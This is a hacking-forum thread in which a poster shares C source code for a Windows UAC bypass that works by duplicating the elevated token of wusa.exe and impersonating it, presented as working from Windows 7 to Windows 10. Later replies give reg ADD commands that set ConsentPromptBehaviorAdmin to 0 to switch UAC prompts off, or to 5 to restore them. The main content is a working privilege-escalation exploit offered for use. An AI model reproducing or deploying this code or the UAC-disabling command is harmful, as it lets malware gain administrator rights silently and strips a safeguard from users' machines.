Exetools  

Go Back   Exetools > General > Source Code

Notices

Reply
 
Thread Tools Display Modes
  #1  
Old 03-17-2018, 21:13
0xall0c 0xall0c is offline
Friend
 
Join Date: Mar 2018
Posts: 67
Rept. Given: 0
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 25
Thanks Rcvd at 65 Times in 35 Posts
0xall0c Reputation: 4
Uac bypass implementation

This is an implementation of uac bypass method (Author: CIA & James Forshaw).
Works from windows 7 to latest windows 10 fall creators update.

Code:
int StepOverUAC()
{
	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;

	if (!CreatePipe(&inRead, &inWrite, &sa, 0))
		return 0;
	if (!CreatePipe(&outRead, &outWrite, &sa, 0))
		return 0;
	NtSetInformationToken nt = (NtSetInformationToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationToken");
	RtlLengthSid rts = (RtlLengthSid)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlLengthSid");
	NtFilterToken filter = (NtFilterToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtFilterToken");
	DWORD Error, bytesIO;
	NTSTATUS Status;
	HANDLE hProcessToken = NULL, hNewToken = NULL, hTest;
	HANDLE filterToken = NULL;
	BOOL bCond = FALSE;
	SHELLEXECUTEINFO shinfo, sh;
	SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
	TOKEN_MANDATORY_LABEL tml, *ptml;
	PSID pIntegritySid = NULL;
	STARTUPINFO si, si2;
	PROCESS_INFORMATION pi, pi2;
	WCHAR szBuffer[MAX_PATH];

	RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
	shinfo.cbSize = sizeof(shinfo);
	shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
	shinfo.lpFile = L"wusa.exe";
	shinfo.nShow = SW_HIDE;
	if (!ShellExecuteEx(&shinfo))
		return 0;
	if (!OpenProcessToken(shinfo.hProcess, MAXIMUM_ALLOWED, &hProcessToken))
		return 0;
	TerminateProcess(shinfo.hProcess, -1);
	WaitForSingleObject(shinfo.hProcess, -1);
	if (!DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken))
		return 0;
	if (!AllocateAndInitializeSid(&MLAuthority, 1, SECURITY_MANDATORY_MEDIUM_RID,0, 0, 0, 0, 0, 0, 0, &pIntegritySid))
		return 0;
	tml.Label.Attributes = SE_GROUP_INTEGRITY;
	tml.Label.Sid = pIntegritySid;
	Status = nt(hNewToken, TokenIntegrityLevel, &tml, sizeof(tml));
	if (!NT_SUCCESS(Status))
		return 0;
	filter(hNewToken, 0x4, NULL, NULL, NULL, &filterToken);
	if (!ImpersonateLoggedOnUser(filterToken))
		return 0;
}
After this just use ShellExecute with "runas" verb.
Reply With Quote
The Following 2 Users Say Thank You to 0xall0c For This Useful Post:
tonyweb (03-21-2018), Zeokat (03-18-2018)
  #2  
Old 03-18-2018, 01:29
TechLord TechLord is offline
Banned User
 
Join Date: Mar 2005
Location: 10 Steps Ahead of You
Posts: 761
Rept. Given: 384
Rept. Rcvd 247 Times in 112 Posts
Thanks Given: 789
Thanks Rcvd at 2,021 Times in 570 Posts
TechLord Reputation: 200-299 TechLord Reputation: 200-299 TechLord Reputation: 200-299
See this post for the latest developments in UAC Bypass updated just 3 days ago in our sister forum :

Windows 10 Redstone 1/2 UAC changes
Reply With Quote
The Following 2 Users Say Thank You to TechLord For This Useful Post:
0xall0c (03-18-2018), tonyweb (03-21-2018)
  #3  
Old 03-18-2018, 02:43
0xall0c 0xall0c is offline
Friend
 
Join Date: Mar 2018
Posts: 67
Rept. Given: 0
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 25
Thanks Rcvd at 65 Times in 35 Posts
0xall0c Reputation: 4
had no info about the upcoming release, still use till can
Reply With Quote
The Following User Says Thank You to 0xall0c For This Useful Post:
TechLord (03-18-2018)
  #4  
Old 03-18-2018, 02:59
sendersu sendersu is offline
VIP
 
Join Date: Oct 2010
Posts: 1,066
Rept. Given: 332
Rept. Rcvd 223 Times in 115 Posts
Thanks Given: 234
Thanks Rcvd at 512 Times in 288 Posts
sendersu Reputation: 200-299 sendersu Reputation: 200-299 sendersu Reputation: 200-299
even very hot & latest w10?
Reply With Quote
  #5  
Old 03-19-2018, 15:27
0xall0c 0xall0c is offline
Friend
 
Join Date: Mar 2018
Posts: 67
Rept. Given: 0
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 25
Thanks Rcvd at 65 Times in 35 Posts
0xall0c Reputation: 4
there is nothing hot about it :P
Reply With Quote
  #6  
Old 03-19-2018, 15:46
niculaita's Avatar
niculaita niculaita is offline
Family
 
Join Date: Jun 2011
Location: here
Posts: 1,342
Rept. Given: 947
Rept. Rcvd 89 Times in 61 Posts
Thanks Given: 4,282
Thanks Rcvd at 479 Times in 338 Posts
niculaita Reputation: 89
how to restore UAC in 1st or 2nd position with an exe or with regfile ?
sometime I telework on windows in other languages and is difficult to find UAC and restore back to normal. Thanks!
__________________
Decode and Conquer
Reply With Quote
  #7  
Old 03-19-2018, 17:17
0xall0c 0xall0c is offline
Friend
 
Join Date: Mar 2018
Posts: 67
Rept. Given: 0
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 25
Thanks Rcvd at 65 Times in 35 Posts
0xall0c Reputation: 4
to turn off uac completely:

Code:
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0
to back to normal

Code:
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5
hope this helps.

Last edited by 0xall0c; 03-20-2018 at 15:46. Reason: corrected double shashes, which are not needed in case running from cmd
Reply With Quote
The Following User Says Thank You to 0xall0c For This Useful Post:
niculaita (03-20-2018)
  #8  
Old 03-20-2018, 06:20
niculaita's Avatar
niculaita niculaita is offline
Family
 
Join Date: Jun 2011
Location: here
Posts: 1,342
Rept. Given: 947
Rept. Rcvd 89 Times in 61 Posts
Thanks Given: 4,282
Thanks Rcvd at 479 Times in 338 Posts
niculaita Reputation: 89
in cmd
C:\Users\Nicolae>reg ADD / HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0
ERROR: Invalid key name.
Type "REG ADD /?" for usage.


maybe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /f

and
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t reg_dword /d 5 /f

what is /f for ?
__________________
Decode and Conquer
Reply With Quote
  #9  
Old 03-20-2018, 15:45
0xall0c 0xall0c is offline
Friend
 
Join Date: Mar 2018
Posts: 67
Rept. Given: 0
Rept. Rcvd 4 Times in 3 Posts
Thanks Given: 25
Thanks Rcvd at 65 Times in 35 Posts
0xall0c Reputation: 4
/f makes sure to overwrite if the specified key value already exists, without prompting the user.
Reply With Quote
The Following User Says Thank You to 0xall0c For This Useful Post:
niculaita (03-21-2018)
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Armadilled Programs with Custom Implementation TmC General Discussion 3 05-15-2006 08:58
Implementation of a TrustedFlow System Prototype redbull General Discussion 0 06-24-2005 21:57


All times are GMT +8. The time now is 18:35.


Always Your Best Friend: Aaron, JMI, ahmadmansoor, ZeNiX, chessgod101
( 1998 - 2024 )